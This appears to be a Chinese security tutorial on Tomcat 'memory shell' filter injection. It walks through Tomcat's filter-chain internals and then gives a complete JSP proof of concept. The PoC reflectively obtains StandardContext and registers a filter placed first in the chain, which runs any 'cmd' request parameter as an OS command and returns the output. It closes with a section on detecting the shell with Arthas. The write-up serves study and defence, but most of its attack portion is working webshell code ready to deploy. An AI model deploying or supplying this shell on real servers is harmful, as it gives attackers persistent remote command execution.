前言
关于tomcat反序列化注入回显内存马问题中,就是通过filter内存马进行反序列化动态注册的,但filter内存马由于当时学的时候就没有学的很明白,所以打算重新回顾一下。
前置知识
Tomcat 与 Servlet 的关系
Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper
- Engine,实现类为 org.apache.catalina.core.StandardEngine
- Host,实现类为 org.apache.catalina.core.StandardHost
- Context,实现类为 org.apache.catalina.core.StandardContext
- Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
- Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化),Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收
- Context 表示一个 Web 应用程序,而一个 Web 程序可 能有多个 Servlet(即:Wrapper)
- Host 表示一个虚拟主机,或者说一个站点,一个 Tomcat 可以配置 多个站点(Host);一个站点( Host) 可以部署多个 Web 应用(即:Context)
- Engine 代表 引擎, 用于管理多个站点(Host),一个 Service 只能有 一个 Engine
他们之间也就是一种父子关系:
关键类
- FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
- FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
- FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
- FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
- WebXml:存放 web.xml 中内容的类
- ContextConfig:Web应用的上下文配置类
- StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
- StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
原理
Servlet 有自己的过滤器filter,可以通过自定义的过滤器,来对用户的请求进行拦截等操作。
经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell,所以就需要我们想办法在最前方注册一个恶意的filter并执行。
Filter注册流程
先看一个正常的demo
filter.java
package memoryshell;
import javax.servlet.*;
import java.io.IOException;
public class filter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {
System.out.println("Filter 销毁");
}
}''
]]
web.xml
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>memoryshell.filter</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
运行后成功触发
createFilterChain
在 StandardWrapperValve 中会利用 ApplicationFilterFactory的createFilterChain()
方法来创建filterChain
跟进看一下,先通过请求获取到了filterChains,而此时其中没有任何值为null,所以又实例化了一个ApplicationFilterChain
在下方获取到了wrapper的父类,根据前置知识中的tomcat与servlet关系
也不难看出,warpper的父类也就是context,而context的实现类是StandardContext,因此在下方也可看出context的类型 也就是该类型。
之后通过context获取到了filterMapper
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
接着在下方会对FilterMap进行遍历
①:if判断,第一个matchDispatcher就不看了,就是匹配一下请求返回true,跟进下第二个matchFiltersURL()
其实就是匹配URL中的请求与与 FilterMap 中的 urlPattern中的是否一直,这里由于是/*所以直接返回true了
②:根据filterMap的filterName获取filterConfig(主要存放 FilterDef 和 Filter对象等信息),由于是第一轮遍历,因此也就获取到了我们自定义的filter类和filterName
③:将 filterConfig 添加到 filterChain中,跟进addFilter函数
在addFilter函数中首先会遍历filters,判断我们的filter是否已经存在(其实就是去重)
下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到了filters
中
至此filterChain就装配完了
doFilter
回到createFilterChain的位置,继续向下看,调用了doFilter()
跟进后下边又调用了internalDoFilter()
this.internalDoFilter(request, response);
①:pos的默认值是0,所以filterConfig取出来的数据也就是filters[0],而在createFilterChain
最后的addFilter函数中提到过,最后将我们的filterConfig 添加到了filters
中,所以第一条数据就是我们自定义的filter类,第二条是tomcat原生的。因此这里第一轮遍历也就是获取到了自定义的filter
类
②:通过getFilter()获取自定义的filter类,并将该值赋给filter属性
③:调用filter属性的doFilter方法
流程总结
- 获取context容器,并从中取出filterMap,接着根据filterMap获取filterConfig并将它追加到了filterChains中
- 将filterChains中封装的filters数据,赋值给filterConfig,filterConfig通过getFilter方法获取到了自定义的filter类
- 调用该类的doFilter方法
内存马注入
获取context
在上边流程中提到,首先是通过StandardContext类型的context属性中获取的filterMap,那么我们如何获取这个context 呢?
当Web容器启动时,都会创建一个ServletContext上下文环境
context是ApplicationContext类型的,而ApplicationContext又是ServletContext的实现类,因此可以通过该方式,将ServletContext转为 StandardContext 从而获取context
ServletContext servletContext = req.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) context1.get(applicationContext);
还有其他的获取方法:
从线程中获取StandardContext
如果没有request对象的话可以从当前线程中获取
https://zhuanlan.zhihu.com/p/114625962
从MBean中获取
https://scriptboy.cn/p/tomcat-filter-inject/
注入内存马
解决了context问题后,可以根据上边流程发现,其实主要就是用到了三个属性filterMap
、filterConfig
、filterDef
- FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
- filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
- filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
- 创建恶意 Filter类
//1、创建恶意filter类
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
//Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
2、利用 FilterDef 对 Filter 进行封装并添加到FilterDefs中
//2、创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("Sentiment");
filterDef.setFilterClass(filter.getClass().getName());
// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);
3、将FilterDefs 添加到FilterConfig
//3、将FilterDefs 添加到FilterConfig
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put("Sentiment",filterConfig);
这里需要注意:
像FilterDef、FilterMap是都有对应的add方法的,但是FilterConfig没有,因此是通过反射获取filterConfigs属性进行的赋值
4、创建 FilterMap ,将Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效有先后顺序,所以将自定义的filter放在最前面,让我们的 Filter 最先触发)
//4、创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("Sentiment");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);
最终POC
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) context1.get(applicationContext);
//1、创建恶意filter类
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//2、创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("Sentiment");
filterDef.setFilterClass(filter.getClass().getName());
// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put("Sentiment",filterConfig);
//4、创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("Sentiment");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);
out.print("Inject Success !");
%>
访问filter.jsp,注入成功
成功执行命令
内存马检测工具
arthas:https://arthas.aliyun.com/arthas-boot.jar
alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas (github.com)
java -jar arthas-boot.jar
选择我们 Tomcat 的进程
输入1进入进程
利用 sc *.Filter
进行模糊搜索,会列出所有调用了 Filter 的类
利用jad --source-only org.apache.jsp.filter_jsp$1
直接将 Class 进行反编译
可以监控进程,当我们访问 url 就会输出监控结果 watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
D:\java\Java_Security\src\main\java\memoryshell>java -jar arthas-boot.jar
[INFO] arthas-boot version: 3.6.2
[INFO] Process 13212 already using port 3658
[INFO] Process 13212 already using port 8563
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 13212 org.apache.catalina.startup.Bootstrap
[2]: 20032 org.jetbrains.idea.maven.server.RemoteMavenServer36
[3]: 11480 org.jetbrains.jps.cmdline.Launcher
[4]: 19916
1
[INFO] arthas home: C:\Users\del'l'\.arthas\lib\3.6.2\arthas
[INFO] The target process already listen port 3658, skip attach.
[INFO] arthas-client connect 127.0.0.1 3658
,---. ,------. ,--------.,--. ,--. ,---. ,---.
/ O \ | .--. ''--. .--'| '--' | / O \ ' .-'
| .-. || '--'.' | | | .--. || .-. |`. `-.
| | | || |\ \ | | | | | || | | |.-' |
`--' `--'`--' '--' `--' `--' `--'`--' `--'`-----'
wiki https://arthas.aliyun.com/doc
tutorials https://arthas.aliyun.com/doc/arthas-tutorials.html
version 3.6.2
main_class
pid 13212
time 2022-12-03 12:10:04
[arthas@13212]$ sc *.Filter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.AbstractMatcherFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.EvaluatorFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.Filter
javax.servlet.Filter
javax.servlet.GenericFilter
memoryshell.filter
org.apache.catalina.filters.CsrfPreventionFilter
org.apache.catalina.filters.CsrfPreventionFilterBase
org.apache.catalina.filters.FilterBase
org.apache.catalina.filters.HttpHeaderSecurityFilter
org.apache.jsp.filter_jsp$1
org.apache.tomcat.websocket.server.WsFilter
Affect(row-cnt:12) cost in 7 ms.
[arthas@13212]$ jad --source-only org.apache.jsp.filter_jsp$1
/*
* Decompiled with CFR.
*
* Could not load the following classes:
* javax.servlet.Filter
* javax.servlet.FilterChain
* javax.servlet.FilterConfig
* javax.servlet.ServletException
* javax.servlet.ServletRequest
* javax.servlet.ServletResponse
* javax.servlet.http.HttpServletRequest
*/
package org.apache.jsp;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
class filter_jsp.1
implements Filter {
filter_jsp.1() {
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
/*173*/ HttpServletRequest req = (HttpServletRequest)servletRequest;
/*174*/ if (req.getParameter("cmd") != null) {
/*175*/ byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();
/*178*/ int len = process.getInputStream().read(bytes);
/*179*/ servletResponse.getWriter().write(new String(bytes, 0, len));
/*180*/ process.destroy();
/*181*/ return;
}
/*183*/ filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
}
[arthas@13212]$ watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
Press Q or Ctrl+C to abort.
Affect(class count: 1 , method count: 1) cost in 71 ms, listenerId: 1
method=org.apache.catalina.core.ApplicationFilterFactory.createFilterChain location=AtExit
ts=2022-12-03 12:23:35; [cost=0.7065ms] result=@ArrayList[
@String[org.apache.jsp.filter_jsp$1],
@String[memoryshell.filter],
@String[org.apache.tomcat.websocket.server.WsFilter],
]